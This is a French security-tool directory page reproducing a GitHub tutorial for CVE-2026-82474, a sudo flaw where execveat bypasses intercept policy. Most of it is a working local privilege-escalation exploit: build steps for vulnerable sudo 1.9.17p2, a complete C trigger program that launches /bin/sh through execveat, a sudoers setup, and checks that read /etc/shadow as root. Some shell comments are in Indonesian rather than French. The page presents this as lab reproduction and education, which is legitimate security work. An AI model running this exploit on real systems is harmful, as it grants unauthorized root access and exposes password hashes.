Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/paktiko1986/cve-2026-82474
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationApprentissage et ÉducationLabs et Pratique
GitHubpaktiko1986/cve-2026-82474

CVE-2026-82474

Tutoriel de reproduction et programme de déclenchement démontrant CVE-2026-82474, un contournement de l'interception de sudo via execveat qui permet une élévation de privilèges locale vers root.

Partager
Voir le dépôt
il y a 19 joursPas encore vérifié

Tutoriel : Reproduction de CVE-2026-82474 (contournement de l'interception execveat par sudo)

Avertissement : Ce tutoriel est destiné uniquement à un environnement de laboratoire que vous contrôlez entièrement. Ne l'utilisez pas sur des systèmes sans autorisation. CVE-2026-82474 est une vulnérabilité réelle qui affecte sudo jusqu'à la version 1.9.17p2.

1. Contexte

CVE-2026-82474 est une vulnérabilité dans sudo qui permet à un utilisateur disposant de permissions limitées de contourner la politique intercept (basée sur ptrace) en invoquant l'appel système execveat. Sudo vérifie execve mais ne vérifie pas execveat, de sorte qu'un programme qui devrait être interdit peut être exécuté.

  • Versions affectées : sudo 1.9.8 jusqu'à 1.9.17p2
  • Impact : Élévation de privilèges locale (local privilege escalation) et contournement de la journalisation
  • Prérequis : Defaults intercept ou Defaults log_subcmds activé, l'utilisateur dispose de permissions sudo limitées

2. Environnement de test

  • Ubuntu 24.04 (ou une autre distribution avec un noyau prenant en charge execveat)
  • Code source sudo-1.9.17p2.tar.gz
  • gcc, make, libpam0g-dev, libselinux1-dev (facultatif)

3. Compilation et installation de sudo 1.9.17p2

# Unduh source code
wget https://www.sudo.ws/dist/sudo-1.9.17p2.tar.gz
tar xzvf sudo-1.9.17p2.tar.gz
cd sudo-1.9.17p2

# Konfigurasi dan kompilasi
./configure --prefix=/usr/local
make -j$(nproc)

# Instal (timpa sudo sistem; lakukan di VM/container)
sudo make install

Vérification :

/usr/local/bin/sudo --version
# Harus menampilkan: Sudo version 1.9.17p2

Assurez-vous que /usr/local/bin se trouve au début du PATH, ou utilisez le chemin absolu /usr/local/bin/sudo dans toutes les commandes suivantes.

4. Création d'un utilisateur de test

sudo useradd -m -s /bin/bash attacker
sudo passwd attacker

5. Écrire le programme déclencheur syscaller.c

Ce programme ouvre le fichier cible, puis appelle execveat avec AT_EMPTY_PATH pour l'exécuter. Comme execveat n'est pas vérifié par l'interception de sudo, le programme cible s'exécute en tant que root.

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    const char *target = (argc > 1) ? argv[1] : "/bin/sh";

    int fd = open(target, O_RDONLY);
    if (fd < 0) {
        perror("open");
        return 1;
    }

    char *const new_argv[] = { (char *)target, NULL };
    char *const new_envp[] = { NULL };

    long ret = syscall(SYS_execveat, fd, "", new_argv, new_envp, AT_EMPTY_PATH);
    perror("execveat");
    return 1;
}

Compiler en tant qu'utilisateur attacker :

su - attacker
gcc syscaller.c -o syscaller

6. Configuration de sudoers

Modifiez avec visudo (en tant que root) :

sudo visudo

Ajoutez :

Defaults intercept
attacker ALL=(root) NOPASSWD: /home/attacker/syscaller

Ce qui est autorisé est syscaller lui-même, pas /bin/sh. C'est la clé : sudo autorise l'exécution de syscaller, mais lorsque syscaller appelle execveat pour exécuter /bin/sh, sudo ne vérifie pas execveat.

7. Exécution et vérification

En tant qu'utilisateur attacker :

sudo /home/attacker/syscaller /bin/sh

Si cela réussit, l'invite passe de $ à #.

7.1 Vérification avec les commandes intégrées

Les commandes externes telles que id ou whoami resteront bloquées par l'interception de sudo (car elles déclenchent un execve normal). Utilisez les commandes intégrées du shell pour prouver les droits d'accès root :

read line < /etc/shadow && echo "readable"

ou

while IFS= read -r line; do echo "$line"; done < /etc/shadow

Sortie : readable — prouve que le shell s'exécute en tant que root et peut lire /etc/shadow.

Ou :

echo $UID
# Output: 0

7.2 Vérifier que l'interception est toujours active

id
# Output: Sorry, user attacker is not allowed to execute '/usr/bin/id' as root...

Cela prouve que le mécanisme d'interception fonctionne toujours pour un execve ordinaire, mais que execveat parvient à le contourner.

8. Résumé des résultats

ÉtapeRésultat
Compilation de sudo 1.9.17p2✅
Defaults intercept actif✅
Liste blanche uniquement syscaller✅
execveat déclenche /bin/sh✅
Shell root obtenu✅
/etc/shadow peut être lu✅
execve ordinaire reste bloqué✅

9. Remarques

  • CVE-2026-82474 ne dispose pas de PoC public ; syscaller.c ci-dessus est un outil de vérification écrit soi-même sur la base des principes techniques.
  • Le correctif en amont a été effectué dans le commit 71fbe42 ; les versions de sudo postérieures à 1.9.17p2 ne sont plus vulnérables.
  • Si l'on utilise bash comme cible (/bin/bash), le shell peut lire des configurations supplémentaires ; toutefois, les commandes externes resteront bloquées par l'interception.
  • Pour la documentation GitHub, inclure la version du noyau et la distribution utilisée, car le comportement de execveat et de ptrace peut varier selon le noyau.

10. Références

  • Avis de sécurité Sudo : https://www.sudo.ws/security/advisories/
  • CVE-2026-82474 : https://nvd.nist.gov/vuln/detail/CVE-2026-82474
  • Commit de correction upstream : 71fbe42 (dépôt sudo)
Télécharger l’outil

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    647
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    421
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer est une plateforme open-source de Gestion des Accès Privilégiés (PAM) qui offre aux équipes DevOps et IT un accès sécurisé et à la demande aux terminaux SSH, RDP, Kubernetes, bases de données et RemoteApp via un navigateur web.

    389
  • 5

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    333
  • 6

    SafeLine

    chaitin/safeline

    WAF auto-hébergé et proxy inverse qui filtre le trafic HTTP malveillant, bloque les injections SQL, les XSS et les attaques de robots, avec limitation de débit et chiffrement dynamique HTML/JS.

    331

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →